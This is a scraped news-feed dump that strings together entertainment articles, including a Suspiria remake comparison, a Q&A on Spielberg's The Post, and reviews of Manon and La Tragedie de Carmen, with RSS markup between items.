There are flashes of red throughout the new trailer, but it’s nothing compared to Argento’s original. Darkness is the prevailing visual theme in Guadagnino’s take on this story, while Argento wanted something richer. As American Cinematographer Magazine reveals, Argento was “inspired in part by the Technicolor grandeur of Walt Disney’s Snow White and the Seven Dwarfs” for the look of his film.

“I decided to intensively utilize primary colors — blue, green and red — to identify the normal flow of life, and then apply a complementary color, mainly yellow, to contaminate them,” explains original Suspiria cinematographer Luciano Tovoli. “A [horror] film brings to the surface some of the ancestral fears that we hide deep inside us, and Suspiria would not have had the same cathartic function if I had utilized the fullness and consolatory sweetness of the full color spectrum.”

Tovoli added:

“To immediately make Suspiria a total abstraction from what we call ‘everyday reality,’ I used the usually reassuring primary colors only in their purest essence, making them immediately, surprisingly violent and provocative. This brings the audience into the world of Suspiria…You say to yourself, ‘This will never happen to me because I have never seen such intense colors in my life…This makes you feel reassured and, at the same time, strangely attracted to proceed deeper and deeper into this colorful journey.”

In extremely sharp contrast, Luca Guadagnino deliberately stripped primary colors from his remake. “It has no primary colors in its color palette [unlike the original],” Guadagnino said. “It’s the opposite of [Call Me By Your Name, Guadagnino’s previous film]. Call Me is light, warm, and summer-ish, and Suspiria is winter-ish, evil, and really dark.”

I have a suspicion this is going to turn some people off. The original Suspiria is so renowned for its color scheme that Guadagnino’s wintry remake might seem jarring, even unnecessary. At the same time, it’s commendable that rather than just attempt to recreate what Argento did, Guadagnino is trying something new.

Suspiria Score

In addition to revealing the first Suspiria footage, the new trailer also gives us our first listen to the new score from Radiohead frontman Thom Yorke. The original Suspiria score comes courtesy of Italian prog rock band Goblin, and is perhaps more famous than the film itself. Goblin created most of the score before the film was even shot, which gives the music an eerie disconnect from the visuals. The synth-based music makes great use of clanging bells, drum machines and whispering voices. “I need the audience to feel that the witches are still there, even if they’re not actually on the screen,” Argento told Goblin keyboardist Claudio Simonetti during the recording of the soundtrack.

Yorke’s score, based on this trailer at least, is more droning; more atonal. There’s still synth-based music here, but it’s a lot less melodic than what Goblin created. At the same time, Yorke is clearly using sound effects underneath all the music, as well as eerie whispering. Just like the visuals, the score here seems to be emulating the original without outright copying it.

“It’s hard because I’m way out of my comfort zone, and I can’t read music so it’s not like I’m writing for orchestra. I’m building it all myself,” Yorke said, adding that he drew inspiration for his soundtrack not from Goblin’s original score, but rather the Blade Runner soundtrack composed by Vangelis:

“I watched Blade Runner twice at the weekend. ‘Oh, that sound, I could do something like that, that’s quite easy,’…’I’ll rip that bit off there and that bit there and I’ll be fine’…Vangelis, it’s his hands that made that. Which encouraged me. Because that was the thing I was finding most daunting. Normally [scoring] a horror movie involves orchestras, these specific things. But Luca [Guadagnino], the director, and Walter [Fasano], the editor, are very much, like, find your own path with it. … I just have to find a way into it.”

The bottom line: Guadagnino’s new take on Suspiria is going to be much different than Dario Argento’s original. And that’s not such a bad thing after all. We’ll always have Argento’s original to turn to. Now it’s time to see what Guadagnino and company have created.

Suspiria opens on November 2, 2018.

The post The ‘Suspiria’ Trailer Reveals Just How Different the Remake is from Dario Argento’s Masterpiece appeared first on /Film.

]]> https://briefnews.eu/the-suspiria-trailer-reveals-just-how-different-the-remake-is-from-dario-argentos-masterpiece/feed/ 0 The Royal Ballets Manon review: A beloved masterpiece https://briefnews.eu/the-royal-ballets-manon-review-a-beloved-masterpiece/ https://briefnews.eu/the-royal-ballets-manon-review-a-beloved-masterpiece/#respond Sun, 08 Apr 2018 17:46:54 +0000 http://briefnews.eu/the-royal-ballets-manon-review-a-beloved-masterpiece/

With some of Jules Massenet’s most beautiful and expressive music danced within Nicholas Georgiadis’s huge, dark and deeply evocative 18th-century designs, the work has a depth and complexity involving the whole company.

MacMillan surges through Paris’s underbelly dealing with individuals and crowds with equal dramatic impact, telling a tragic tale with a romantic spin. An irresistible combination.

If he had been watching the performance last Friday MacMillan would have pinched himself as Russian-born Natalia Osipova polished the title role not only with her exquisite technique but by portraying Manon as a full-blooded yet maddening woman of her time.

In the opening street scene, packed with dancing as well as story, she falls for student Des Grieux, danced by fellow Russian guest artist Vladimir Shklyarov. Their first duet is a combination that becomes the main tool throughout the evening for telling this heartrending story.

Shklyarov has a notorious first solo to establish his character’s dreamy personality and passionate nature, at odds with the Parisian lowlife surrounding him.

It is slow, controlled and pensive, in other words a nightmare of technical precision. At the same time he has to establish his character for the rest of the evening.

Tall and fair, Shklyarov does the trick and the audience sighs with relief. Thankfully, we know from the outset that Shklyarov has what it takes.

Despite hailing from the same cultural and dance background, presenting a physical and emotional union, the pair have their individual characteristics.

Osipova is impulsive and physically fearless while Shklyarov, though struggling occasionally with MacMillan’s precise technical demands, partners her with an easy strength. But it is the company surrounding them that MacMillan would have loved.

Marcelino Sambe as Lescaut does a wonderful job as a drunk out to earn a centime and Claire Calvert, Melissa Hamilton, Hannah Grennell and Lara Turk give continuous pleasure as do Reece Clarke, Nicol Edmonds and Fernando Montano with their all too brief pas de trois.

But MacMillan’s magical achievement is not just with the star performers. While the individual drama is played out between the two principals, the company pours into the spaces and gives us satisfaction.

Manon is playing until the middle of May and is not to be missed.

Let’s block ads! (Why?)

]]> https://briefnews.eu/the-royal-ballets-manon-review-a-beloved-masterpiece/feed/ 0 Four AI composition tools easy enough to soundtrack your film masterpiece https://briefnews.eu/four-ai-composition-tools-easy-enough-to-soundtrack-your-film-masterpiece/ https://briefnews.eu/four-ai-composition-tools-easy-enough-to-soundtrack-your-film-masterpiece/#respond Sun, 11 Mar 2018 00:15:39 +0000 http://briefnews.eu/four-ai-composition-tools-easy-enough-to-soundtrack-your-film-masterpiece/

Not only did I film this bit of dog fan fiction, I composed the soundtrack, thanks to technology. (Click here for transcript) (video link)

It used to be you could spend an afternoon drumming up a home movie with your little sister, soundtrack it with your favorite mixtape cuts, and upload it to the Internet for sharing without a care. But as bot-driven copyright tools started scanning new uploads and society generally became more concerned with proper song licensing, using whatever track you desired for some publicly available Web video became less of an option.

What’s an amateur-at-best musician to do? I may have marched on a collegiate snare line (and therefore understand rhythm, phrasings, and tempo), but my ability to create melody probably stopped with middle school recorder lessons.

Read 23 remaining paragraphs | Comments

]]> https://briefnews.eu/four-ai-composition-tools-easy-enough-to-soundtrack-your-film-masterpiece/feed/ 0 ‘The Devil’s Backbone’: 13 Revelations About Guillermo del Toro’s Masterpiece From an Incredible New Book https://briefnews.eu/the-devils-backbone-13-revelations-about-guillermo-del-toros-masterpiece-from-an-incredible-new-book/ https://briefnews.eu/the-devils-backbone-13-revelations-about-guillermo-del-toros-masterpiece-from-an-incredible-new-book/#respond Sat, 16 Dec 2017 21:44:32 +0000 http://briefnews.eu/the-devils-backbone-13-revelations-about-guillermo-del-toros-masterpiece-from-an-incredible-new-book/ the devil's backbone book

Matt Zoller Seitz and Simon Abrams have created a stunning, essential new book devoted to Guillermo del Toro‘s 2001 gothic horror movie The Devil’s Backbone. Through in-depth interviews with del Toro and the cast and crew of the film, the Devil’s Backbone book details both the making of one of del Toro’s best films, and del Toro’s insights into filmmaking as a whole.

In 1997, Mexican filmmaker Guillermo del Toro went Hollywood with the horror film Mimic. It didn’t go so well. del Toro had burst onto the scene with his haunting, unique, inventive twist on vampire mythology, Cronos. It made sense that Hollywood would come calling, but del Toro’s jump into the “mainstream” was fraught with production woes, meddling producers, and a finished product that left much to be desired. The filmmaker was down, but not out.

Del Toro would reclaim his artistic integrity (and peace of mind) with the Spanish language gothic melodrama The Devil’s Backbone. Released in 2001, it was a firm reminder that the budding genius many people had sensed watching Cronos was still alive and well, and that Mimic hadn’t sapped del Toro of his powers. The Devil’s Backbone would be the first of two films del Toro would set against the backdrop of the Spanish Civil War, the second being Pan’s Labyrinth. It might be easy for some to think of Backbone as a test-run for Labyrinth, but that would be doing a disservice to the former. Instead, the film’s compliment each other, like mirror images. But Devil’s Backbone is still very much its own unique beast.

On its surface, The Devil’s Backbone is a ghost story – the tale of a lonely boy who comes to an orphanage and finds a ghost. But there’s so much more going on here. Characters are never one-dimensional in a del Toro film – there are no real heroes or villains. Instead, there are just people, full of conflicts, and neurosis, and hopes, and dreams, and hatreds. These elements are all at play in the cast of characters that populate The Devil’s Backbone, and through them, del Toro weaves a haunting, hypnotic, heartbreaking tale.

In Matt Zoller Seitz and Simon Abrams’ wonderful new book, del Toro’s comeback film is explored from every angle – pre-production, production, and beyond. The film’s very soul is laid bare through a book-length interview with del Toro himself, interspersed with interviews from various members of the cast and crew. It is an all-encompassing look at a remarkable film, but it’s more than that. This book is like an entire journey through film school condensed into 160 pages. Del Toro doesn’t just talk about Backbone – he talks about the medium of film as a whole, and shares his thoughts on other filmmakers.

Anyone who has listened to one of del Toro’s Blu-ray commentary tracks knows how well-versed in the language of film he is, and here in the pages of The Devil’s Backbone is even more of his staggering knowledge and insight. It’s an utter treat, not just for del Toro fans but for film fans in general. I’ve combed through the pages of The Devil’s Backbone and assembled some wonderful revelations for you here. But these tidbits only scratch the surface. For the full experience, you really must get your hands on the book.

The Devil's Backbone book cover

An Antidote

Mimic should’ve signaled Guillermo del Toro’s big arrival in Hollywood. Instead, the film’s troubled production – which included meddling from producer Bob Weinstein at Miramax – and tepid reception was an overall crushing experience for the filmmaker.

“From the get-go, it was a bad experience,” del Toro says in The Devil’s Backbone book. “I was in post-production on it for two years, and coming out of that I honestly thought, Maybe I’m not made for this, because [Miramax cofounder] Bob Weinstein was very tough to survive.”

The filmmaker goes on to say that, at the time, the Weinsteins were considered “golden” in the industry, and that most people assumed the faults in Mimic must have sprung from del Toro as a filmmaker rather than Weinstein interference. “Eventually, over the years, more information emerged,” del toro says. “But at the time people said, ‘God knows what happened on Mimic.’”

After Mimic, del Toro found American film work hard to come by. He had pitched a proposal for what would become The Devil’s Backbone to the Mexican Institute of Film, but they rejected the idea because they thought it was “too big” of a movie. The eventual solution to del Toro’s problems arrived courtesy of filmmaker Pedro Almodóvar.

Almodóvar, the director of Tie Me Up! Tie Me Down!, All About My Mother, Talk to Her and many more, had met del Toro and expressed his fondness for del Toro’s first film. According to del Toro, Almodóvar said, “I liked your movie Cronos very much, and if you ever come to Spain my brother and I would like to produce a movie for you.” In 1997, del Toro “took a chance and wrote to Pedro and said, ‘Remember that conversation we had?’”

Almodóvar produced Devil’s Backbone, but gave del Toro completely control over the film, an experience del Toro says was “like an antidote to Mimic, which was five producers around me at all times.” Almodóvar also gave del Toro final cut – another condition that was denied to him on Mimic.

Compromise as an Art Form

The stories about the production of The Devil’s Backbone are what primarily make up Matt Zoller Seitz and Simon Abrams’ book, but there are frequent side-steps into the process of filmmaking as a whole. In these moments, del Toro’s knowledge of film and filmmaking shine brightest.

One key passage involves del Toro discussing the very nature of being a director, and how the job itself is perceived by film fans. “Since Erich von Stroheim or Charlie Chaplin or Buster Keaton or D.W. Griffith, we’ve enthroned the idea of the autocrat: the director who controls everything,” del Toro says before pointing out that it’s simply not true. “The reality is that every director knows that it’s about saying, ‘Oh, this accident happened, and it’s better.’”

The filmmaker sums it up succinctly: “Directing is compromise as an art form.”

To further illustrate the point, del Toro turns to one of the most historically obsessive filmmakers in the history of the medium: Stanley Kubrick. Surely an auteur such as Kubrick was in control of everything, right? Not exactly. Del Toro talks about befriending Tom Cruise (the filmmaker wanted Cruise to star in his now-aborted At The Mountains of Madness adaptation) and proceeding to pick the actor’s brain about working with Kubrick on Eyes Wide Shut: “I asked him, ‘Do you think [Kubrick] controlled everything? Or was he able to create opportunities for accidents?’ And [Cruise] said, ‘Absolutely, he left room for accidents. In fact, sometimes you had the feeling that he was waiting for that accident to present itself so he could recognize it.’”

Prep Work

Del Toro eloquently recalls almost every tiny detail about the production of The Devil’s Backbone, and that includes all the pre-production work. When it comes to designing a film, the filmmaker says he usually takes about six months of prep work:

“I take three months alone with a conceptual illustrator, and I figure out everything before we are joined by the production designer and wardrobe designer. I just do sketches with them. And then for three to five months more, I work with the whole team.”

Del Toro’s prep work on The Devil’s Backbone was slightly shorter than other films, because he had committed to making Blade II.

Chekhov’s Bomb

One of the most iconic pieces of imagery from The Devil’s Backbone is an unexploded bomb, sticking out of the ground in the courtyard of the orphanage. The bomb is a constant metaphorical reminder of the Spanish Civil War raging beyond the orphanage’s walls: “The bomb is omnipresent in the middle of the courtyard much like the war,” del Toro says. “It just says, ‘The war is here….’” The filmmaker goes on to say that he “wanted [the bomb] to be almost a mother figure to the kids. They planted flowers around it and put ribbons on it, like it’s a fertility goddess, a totemic figure. But I wanted it to look over them the whole time.”

Del Toro’s thoughtfulness about the bomb, which is omnipresent but not exactly a key element to the overall story, further illustrates just how much thought he pours into the construction of his films. The bomb is always there, and even when it’s not on screen, the audience is subliminally thinking about it. How could they not?

“If you have a bomb in your backyard, unexploded…basically it becomes the north of your entire geography,” del Toro says. “Whether you sleep close to or far from the bomb, or you cross the bomb to go to the well, it’s always there at the center…But even if you live with a bomb, it’s still a bomb. That’s the essence of a civil war. You live with a conflict and it can become matter-of-fact, everyday, but you’re still living with this bomb at home.”

Continue Reading The Devil’s Backbone Book >>

The post ‘The Devil’s Backbone’: 13 Revelations About Guillermo del Toro’s Masterpiece From an Incredible New Book appeared first on /Film.

/Film

]]> https://briefnews.eu/the-devils-backbone-13-revelations-about-guillermo-del-toros-masterpiece-from-an-incredible-new-book/feed/ 0 ‘Okami’: Capcom Revives the Watercolor Masterpiece For Modern Consoles https://briefnews.eu/okami-capcom-revives-the-watercolor-masterpiece-for-modern-consoles/ https://briefnews.eu/okami-capcom-revives-the-watercolor-masterpiece-for-modern-consoles/#respond Fri, 15 Dec 2017 08:10:27 +0000 http://briefnews.eu/okami-capcom-revives-the-watercolor-masterpiece-for-modern-consoles/ In one of the only games to ever stir something religious inside of me, color follows you wherever you go.


https://media.wired.com/photos/5a31c3c1e1d4a86600d1edba/master/pass/Okami_HD_screens01_png_jpgcopy-FINAL.jpg
Feed: All Latest

]]> https://briefnews.eu/okami-capcom-revives-the-watercolor-masterpiece-for-modern-consoles/feed/ 0 ‘The Post’ Q&A: Streep, Hanks, and Whitford on Making Spielberg’s Latest Masterpiece https://briefnews.eu/the-post-qa-streep-hanks-and-whitford-on-making-spielbergs-latest-masterpiece/ https://briefnews.eu/the-post-qa-streep-hanks-and-whitford-on-making-spielbergs-latest-masterpiece/#respond Tue, 28 Nov 2017 21:01:58 +0000 http://briefnews.eu/the-post-qa-streep-hanks-and-whitford-on-making-spielbergs-latest-masterpiece/ The Post Q&A

Steven Spielberg’s upcoming movie The Post is one of the most vital, compelling pieces of filmmaking of his career. Full reviews are still under embargo, but the early buzz from critics who’ve seen early screenings is overwhelmingly positive.

I managed to get into one of those early screenings last night on the 20th Century Fox studio lot, where stars Meryl Streep, Tom Hanks, and Bradley Whitford appeared for a Q&A after the movie. What follows is a transcript of some of the most fascinating moments of that conversation, including stories about how ridiculously quickly this project came together, Spielberg’s approach to directing, and the impact of the movie’s costume designer.

Meryl Streep was attached to the film even before Spielberg came on board:

Streep: [Producer] Amy Pascal sent me Liz Hannah’s script, and I just loved it. I didn’t think that it could get made. And then Steven stepped in, and everything came together in like twenty minutes…Steven was prepping another movie in Italy. He had his whole crew there. Everything was set up, sets built, ready to go. Is that right?

Hanks: Yeah, the role was for a 7-year-old kid or a 13-year-old kid.

Streep: And I think he had to be bilingual in Italian and Hebrew.

Whitford: (Jokingly) I was up for that. (Everyone laughs)

Streep: And they couldn’t find the little boy. [For the film The Kidnapping of Edgardo Mortara.] Someone passed him the script, and he flew his crew to New York, set them up, and he started like two weeks later. It’s amazing how quickly he did it, and how quickly he made the film. We finished shooting at the end of July, and he had a cut two weeks later. And it’s film – it’s 35 millimeter film.

Hanks: We started shooting the first of May. I read it in February, so there was about a ten week prep, and both during it and throughout the shooting, [Spotlight co-writer] Josh Singer came on and worked hand in hand with Liz Hannah. Because the early drafts of it were missing essentially everything that explained what the Pentagon Papers were. The Pentagon Papers were kind of like a box of paper. We talked about it like everybody knew what was in it, but Steven definitely wanted to know the meat and potatoes of it.

Some of the scenes specifically came out of a two-or-three-hour get together we had with Daniel Ellsberg himself. He told the story of being on the plane and being called to the front to tell Secretary McNamara that what he was struck by was that absolutely nothing had changed in the time that he had been [in Vietnam]. We heard that, and then we shot it sometime in June. It was like working at MGM or on this lot back in the day. You banged out a movie in eight weeks, and it turned out to be something like It’s a Wonderful Life. It was a fast shoot.

The script was purchased in October of last year, before the results of the presidential election came in:

Hanks: Of course, in October, we did not know what the future held as of November 8th.

Moderator: Yeah, she said she was making this with the idea that Hillary would have been elected President.

Hanks: Remember those fun-filled days? When that was a possibility? Remember that great, hopeful era? Not to step on anybody’s toes – you get to vote for whoever you want to in this great country of ours. But had it gone that way, we would have been making probably a quaint museum piece in which everybody would have been ooh-ing and aah-ing about the ugly fashions and the big cars, but instead we were actually making a story that was ripped right out of 2017’s headlines.

The movie occasionally cuts to wide shots of Richard Nixon in the White House, and all of the audio used during those stretches are actually the real recordings of the real man himself. Hanks revealed this in the most “America’s Dad” way possible:

Hanks: That’s actually from the White House tapes. Kissinger as well. It’s taken right from the tapes. It’s kind of extraordinary. I always think – Nixon put in the machines. He knew he was being [recorded]. (Nixon impression) ‘Let me tell you about these cocksuckers!’ Your kids are going to hear this, Dick! Your grandchildren! Go easy on the expletives, for crying out loud.

Hanks The Post

For Hanks, developing his portrayal of Washington Post editor Ben Bradlee involved speaking with the real Bradlee (before he passed away), but there was more to it than that:

Hanks: There’s also the everlasting presence of Jason Robards in Ben Bradlee.

Moderator: A great Oscar-winning performance in All The President’s Men.

Hanks: I worked with Jason at one point, and I called him Mr. Robards for the first six weeks. ‘Will you knock it off, kid?’ Between the two of them, there was an iconography that I had to slide in between, quite frankly. Ben had a degree of confidence, he owned a room when he walked into it. And the interpretation that Jason Robards did as him is sort of like playing Hamlet after somebody else has played Hamlet. You’ve gotta find some way into it. You can’t just mimic, but you can’t sluff off.

Hanks gives a tremendous amount of credit to the movie’s costume designer for its overall success:

Hanks: Anne Roth and her costumes, the way she approaches costuming and actors, is the greatest relationship an actor can have with somebody who is responsible for the look. She peppers you with questions. You’re there and you’re trying to put on a pair of 1970s pants that will somehow flatter your ass. (laughs) They weren’t really built for that…you’d be trying these things. She’d say, ‘Put on these shoes. Walk with me in these shoes. What are you doing with your hands? There you go! Yeah.’

We were trying on a bunch of different shirts and getting the measurements, and she’s fussing, and she says to me, ‘Do you know why Ben owned the room?’ And I said, ‘Because he knew.’ ‘Because he knew!’ That’s somebody who’s going for the same ephemeral, elusive quality to a character, and she knows that the most visible layer of that is the fabric that she puts you in.

Whitford: Somebody please make a documentary about Anne Roth.

Streep: I’ve tried. We really have. A lot of people have tried. But she won’t do it. She’s completely an impossible person.

Whitford: At the end of my fitting, she said, ‘That’s what you’re wearing. I don’t give a shit what Spielberg says!’

Hanks: Steven called her the co-director of the film a few days she was there.

Hanks has worked with Spielberg five times now, but this marks the first time he’s worked with Streep (and the first time Streep had ever worked with Spielberg):

Hanks: Everybody who played a reporter, we got together at my place. We had pie and coffee. I just said, ‘Look, Steven is not going to rehearse us. We have to know what these scenes are. Show up on time. Let’s all know the dialogue, and let’s all have an idea of what we’re going to do. If we do that, Steven will love us, and he will use us throughout the course of it. Don’t be surprised – he’s going to give everybody more do to than what’s on the page.’ One of the extraordinary things about all of the movies I’ve worked with Steven on is that everybody has a good part.

Streep: I was apprehensive because I knew Tom had worked with him, and his whole crew were a group of people who were used to him. You never know – everybody works differently. I wasn’t invited to the reporter’s things, because [Hanks] forgot I was the boss. (laughs) But no one told me that Steven doesn’t rehearse. Not at all. You walk on, and we shoot. I need a little ease in, just to remember the lines the first couple of times. That was very intimidating.

Whitford told an illuminating story about Spielberg’s approach to filmmaking that involved the first time Whitford read the script in a secure room at Amblin, and Spielberg told him there wasn’t going to be any rehearsal or a read-through.

Whitford: I was like, ‘Why don’t you like read-throughs?’ And he said – I hope I’m not getting in trouble – he said, ‘I think it makes people think that this process is more democratic than it actually is.’ I was like, ‘I’ll be there, and I’ll be ready, buddy!’

The Post breakfast

Streep spoke about the thing that shocked her the most about being on the set and working with everyone:

Streep: What really shocked me, was I really thought it was going to be this well-oiled machine where everybody knew what they were doing except me. I did! I was terrified at first. One of the earliest things we shot was a very long scene between the two of us, an introductory scene to our relationship. It told a lot within that seven pages…

But within that, he gave us so much freedom. He ended up [using] just the master [shot]. That’s like letting the actors edit, because we take our pauses, or we don’t. We came in and covered it, took forever, and then he came back after we killed ourselves on the closeups, and he said, ‘You know, I think I like the second take we used this morning. The master!’ He just lives in the moment. It isn’t pre-planned. It’s not a Hitchcock thing where everything’s storyboarded. It lives. The process lives in the moment, and that’s so touching to me. He’s living it.

To wrap up the evening, Hanks left us with a message as vital as anything that appears in The Post:

Hanks: Here’s the extraordinary thing: there is an election in less than a year. And if you don’t vote in that election, you get the government you deserve.

The Post arrives in theaters on December 22, 2017.

The post ‘The Post’ Q&A: Streep, Hanks, and Whitford on Making Spielberg’s Latest Masterpiece appeared first on /Film.

/Film

]]> https://briefnews.eu/the-post-qa-streep-hanks-and-whitford-on-making-spielbergs-latest-masterpiece/feed/ 0 La Tragedie De Carmen review: Bizet's masterpiece with a twist https://briefnews.eu/la-tragedie-de-carmen-review-bizets-masterpiece-with-a-twist/ https://briefnews.eu/la-tragedie-de-carmen-review-bizets-masterpiece-with-a-twist/#respond Sun, 12 Nov 2017 02:35:47 +0000 http://briefnews.eu/la-tragedie-de-carmen-review-bizets-masterpiece-with-a-twist/

His La Tragedie De Carmen left out the Spanish colour of the cigarette factory, children’s and soldiers’ chorus, flamenco dances and gypsies to concentrate forensically on the relationship between the four main characters. 

Carmen’s husband, who features in Merimee’s original novel though not in Bizet’s opera, also made a brief appearance. 

Wilton’s Music Hall in Whitechapel is similar to Peter Brook’s Théâtre Des Bouffes Du Nord, with its 19th century patina of shabby charm, but director Gerard Jones envisages a very different background to Brook’s mean streets of Paris. 

We are in a sleazy nightclub where Carmen could be resident chanteuse.  

She wears short frock and trainers while singing the seductive Habanera while peeling a satsuma. 

Reinforcing the idea of cabaret, the Southbank Sinfonia plays on a raised platform at the back with conductor James Hendry facing players and audience. 

La Tragedie De Carmen is a gift for the Royal Opera’s training programme of Jette Parker Young Artists. 

They usually take minor roles on the main stage but can really strut their stuff in studio productions.  

There is certainly no faulting their voices, even if the acting is a bit hit and miss. 

At times, particularly with Gyula Nagy’s over-the-top toreador Escamillo, tragedy dissolves into broad comedy. 

Russian mezzo Aigul Akhmetshina is a real find with a rich molasses tone that suggests a main house Carmen in due course. 

She is listed as one of the Jette Parker singers playing Mercedes in Barrie Kosky’s new staging of Carmen next February.  

Francesca Chiejina as Don José’s rejected fiancee Micaela possesses a warm, powerful soprano. 

Tenor Thomas Atkins sounds good and conveys José’s underlying violence. 

Apart from his Escamillo, Nagy takes the small parts of Zuniga and Garcia (Carmen’s abusive husband) who is swiftly dispatched by José. 

Interestingly, Carmen forces herself on to Don José’s knife at the end, rather than waiting for him to strike, as if fulfilling the cards’ prophecy of death.

Let’s block ads! (Why?)

Daily Express :: Entertainment Feed

]]> https://briefnews.eu/la-tragedie-de-carmen-review-bizets-masterpiece-with-a-twist/feed/ 0